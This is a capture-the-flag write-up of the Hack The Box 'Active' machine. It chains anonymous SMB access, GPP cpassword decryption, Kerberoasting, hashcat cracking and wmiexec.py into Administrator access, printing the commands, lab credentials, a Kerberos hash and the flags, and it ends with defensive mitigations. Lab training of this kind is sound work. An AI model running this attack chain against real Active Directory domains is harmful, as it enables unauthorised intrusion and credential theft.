

Active (HTB) - Writeup

Target: Active (Hack The Box)

Author: eks & mrb3n

Difficulty: Easy

Environment: Windows Active Directory

Status: Fully Compromised

Pwned by: ziliel

Date: 2025.06.15

Summary

This machine demonstrates a classic Group Policy Preferences (GPP) misconfiguration combined with Kerberoasting. Anonymous SMB access exposes the `Replication` share containing a `Groups.xml` file with an encrypted `cpassword`. Because the GPP AES key is publicly known, the password can be decrypted to obtain valid domain credentials. These credentials allow Kerberoasting of a service account, which is cracked offline to gain Administrator access and fully compromise the domain.

Skills Required

- Basic Active Directory concepts
- SMB share enumeration
- Understanding of Kerberos authentication

Skills Learned

- SMB enumeration and share abuse
- Group Policy Preferences (GPP) exploitation
- Decrypting `cpassword` values
- Identification and exploitation of Kerberoastable accounts
- Offline Kerberos hash cracking with Hashcat

Enumeration

nmap

We start with scanning the Target for open ports and running services.

```
sudo nmap -Pn -p- -T4 --min-rate 1000 --max-retries 3 -sC -sV 10.129.174.156 > nmap-deepscan.txt
```

```
(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]
$ cat nmap-deepscan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 23:12 CEST
Nmap scan report for 10.129.174.156
Host is up (0.044s latency).

Not shown: 65512 closed tcp ports (reset)

PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-15 21:13:03Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-N
ame)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-N
ame)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc        Microsoft Windows RPC
9389/tcp  open  mc-nmf      .NET Message Framing
47001/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
49166/tcp open  msrpc        Microsoft Windows RPC
49169/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_  Message signing enabled and required
| smb2-time:
|   date: 2025-07-15T21:13:58
|_  start_date: 2025-07-15T21:09:44
|_clock-skew: 15s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.88 seconds
```

We found that the `ldap` domain is `active.htb`.

enum4linux

Running a `enum4linux` full scan reveals `SMB` shares.

```
enum4linux -a 10.129.174.156
```

```
[+] Attempting to map shares on 10.129.174.156
//10.129.174.156/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/C$     Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/IPC$   Mapping: OK Listing: DENIED Writing: N/A
//10.129.174.156/NETLOGON      Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/Replication  Mapping: OK Listing: OK Writing: N/A
//10.129.174.156/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/Users    Mapping: DENIED Listing: N/A Writing: N/A
```

We have `Read` rights on the `Replication` share.

smbclient

Lets look whats inside the `Replication` share.

```
smbclient -N //10.129.174.156/Replication
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
.
..
Groups.xml          A      533  Wed Jul 18 22:46:06 2018
```

After some searching we find a `Groups.xml` file and download it.

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edbSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
userName="active.htb\SVC_TGS"/></User>
</Groups>
```

We found the username `SVC TGS` and a `AES-256` encrypted password

```
edbSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/Ng1VmQ
```

Foothold

GPP (Group Policy Preferences)

Among many other features GPP allows administrators to modify users and groups across their network.

When Administrators on a windows server change the Admin password to something new it becomes aes-256 encrypted and stored in the Groups.xml file. However Microsoft [published](#) the aes key in 2012 and passwords set using GPP became trivial to crack.

gpp-decrypt

Because the GPP encryption key is publicly known, any attacker with read access to the policy file can recover the plaintext password. Lets decrypt the key with gpp-decrypt .

```
(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]
$ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Our new credential set in SVC_TGS:GPPstillStandingStrong2k18

smbmap

Lets map the SMB shares with our new credential set.

```
smbmap -H 10.129.174.156 -u SVC_TGS -p GPPstillStandingStrong2k18 -r
```

Share	Path	Access	Created	Last Accessed	Owner
.	/	rw	2018-07-21 16:39:20	2018-07-21 16:39:20	.
..	/..	rw	2018-07-21 16:39:20	2018-07-21 16:39:20	..
Administrator	/Administrator	rw	2018-07-16 12:14:21	2018-07-16 12:14:21	Administrator
All Users	/All Users	rw	2018-07-16 23:08:56	2018-07-16 23:08:56	All Users
Default	/Default	rw	2018-07-16 23:08:47	2018-07-16 23:08:47	Default
Default User	/Default User	rw	2018-07-16 23:08:56	2018-07-16 23:08:56	Default User
desktop.ini	/desktop.ini	rw	2018-07-16 23:01:17	2018-07-16 23:01:17	174
Public	/Public	rw	2018-07-16 23:08:47	2018-07-16 23:08:47	Public
SVC_TGS	/SVC_TGS	rw	2018-07-21 17:16:32	2018-07-21 17:16:32	SVC_TGS

With our new user we have now read access to the Users , SYSVOL and NETLOGON shares.

```
smb: \SVC_TGS\Desktop\> ls
.
D 0 Sat Jul 21 17:14:42 2018
..
D 0 Sat Jul 21 17:14:42 2018
user.txt AR 34 Tue Jul 15 23:10:40 2025
```

We find the user.txt flag in the Users share.

Privilege Escalation

We can now try Kerberoasting with our Credential set and dump all users with password hashes.

```
 GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.129.174.156 -request
```

```
(ziliel㉿ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]
└─$ python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.174.156 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name          MemberOf                                         PasswordLastSet
LastLogon           Delegation
-----  -----
-----  -----
active/CIFS:445      Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.3
51723   2025-07-15 23:10:42.826139

[...] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$611f8f38e39ec10c57190cedfbb24614$c5d2df1397fe1848b44
e40b8a26e81f90e642daa8b212dec82448b777167ff95856fc4d1a671b720d130da99d2d68b2f60cbc6c64d50ad751e7840ce41bb330995f3d4b
6f4b272159b91b6fc92d7d587f85f3c067d73d3201866f6c03d1a9a8014f025d5c9f860d03abcb66df246cbbd7c0ca04b60dde75db63c36b0167
8a004486f19a6f7d5a0aa570bf4b11d0f00753495b88374e09b3d7a1b75a34c648ff5f022ed628b896411ad967531d16e12e0b65597d5a0e3ec4
814a58899ee033bbba1ed3bdad2abedd4ade33b0e5ac6251033d14880c0d3f680162f3bf65dafe0bab954996e78183ea0e950ae91fecde19f83
9a0f78a02a08b86015474eac2f4a6b9fcf60efd11f43562240ffcbf205fe07d577de9f6325570bb4045577c813fdc60b9e22dc2e1921971095e
eed95354dffbb15923d8f0c8a81eae78333eb5c61ef20908790e98c425c97149d3a228f204efd74d7940f2ac1ff7b5106c558822183360255af3f
fb9614689a7dfe1eca1901b10ab43692baef2eb5f083a40c88d5a94c249b6d2739c3ff5fd6aeb1a2e77dc29a4f61a98b4923e25a1fa6a436ebd
ee68bf8db0d1ff0d0639881f590a373935ee31f3db13bf336afa9074029e629967eb251163d880f3a4a4e6a907407d7f079424f3538bfbd074de
5da4fdd05db476853fcfbcd669c2883c42b9a5ce8a350dd3918250f2f126f95dc35d642464dd622869f47289021899db92fb59f5efa793302a1
658c10227b7f4a2ccf57d3bdfcc003f8ac6de730a246a7b88c0ec66a5aa9b843293f1e46b30dbd249738b93fe7af23ba8b564c52417499f8cce
ea5f95cfbc6c3373fa10b9a9b76cabae25977f2a07ed2659f7ff9a4cae470cf7b7859a474253547cf34e6fb16a4ecb0da9738e010b440ee7741af
34f1cbe2a97e642c786d6936f38f8dee0206c6abee33faa4c339b691a80a69a37dbd91edd85120d3cd53dfca0d798e0ab8bf2670fb73a31ce1
6949a93156e565e4f99ff5fa97862f692d49f5f3e3fef636df87aca858119aa11174df86b6635a52b22db241d0553e6c6138af30236cef3e6ad5
f579b33186b2e5923881891836ca02ea5a64815013bfa5b6ada10e69bac530c29f560eea8871d054dadbcc8edb842cc18d87f03204d9c04792
2b9c7946dbe60cf8c761b604f82e56eb6e99a40ff65331fd9c791cfca2bd9e6a046f9eb6eef38616ec3dcc196ecfd4ef231562e5024740205a60
59b988d7a63817b9f7156
```

Hashcat

We can crack the kerberos hash with hashcat to get the Administrator Password.

```
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
```

:Ticketmaster1968

The administrator credential set seems to be Administrator:Ticketmaster1968 .

wmiexec.py

Lets connect to the target machine using `wmiexec.py`.

```
python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/wmiexec.py  
active.htb/Administrator:Ticketmaster1968@10.129.174.156
```

```
C:\Users\Administrator\Desktop>type root.txt  
f066b0c7c73cff9f4fbebf880d3c09ac
```

We find the `root.txt` flag

Defensive Mitigation

Organizations should remove legacy GPP password usage and audit SYSVOL/Replication shares for sensitive files. Anonymous SMB access must be disabled, and service account passwords should be strong, unique, and rotated regularly. Kerberoastable accounts should be minimized and monitored, and weak password policies should be avoided to prevent offline cracking.

Learned

This machine reinforced the importance of securing legacy Active Directory features and demonstrated how a single exposed policy file can lead to full domain compromise. It highlighted the real-world impact of weak service account passwords and the effectiveness of chaining GPP abuse with Kerberoasting.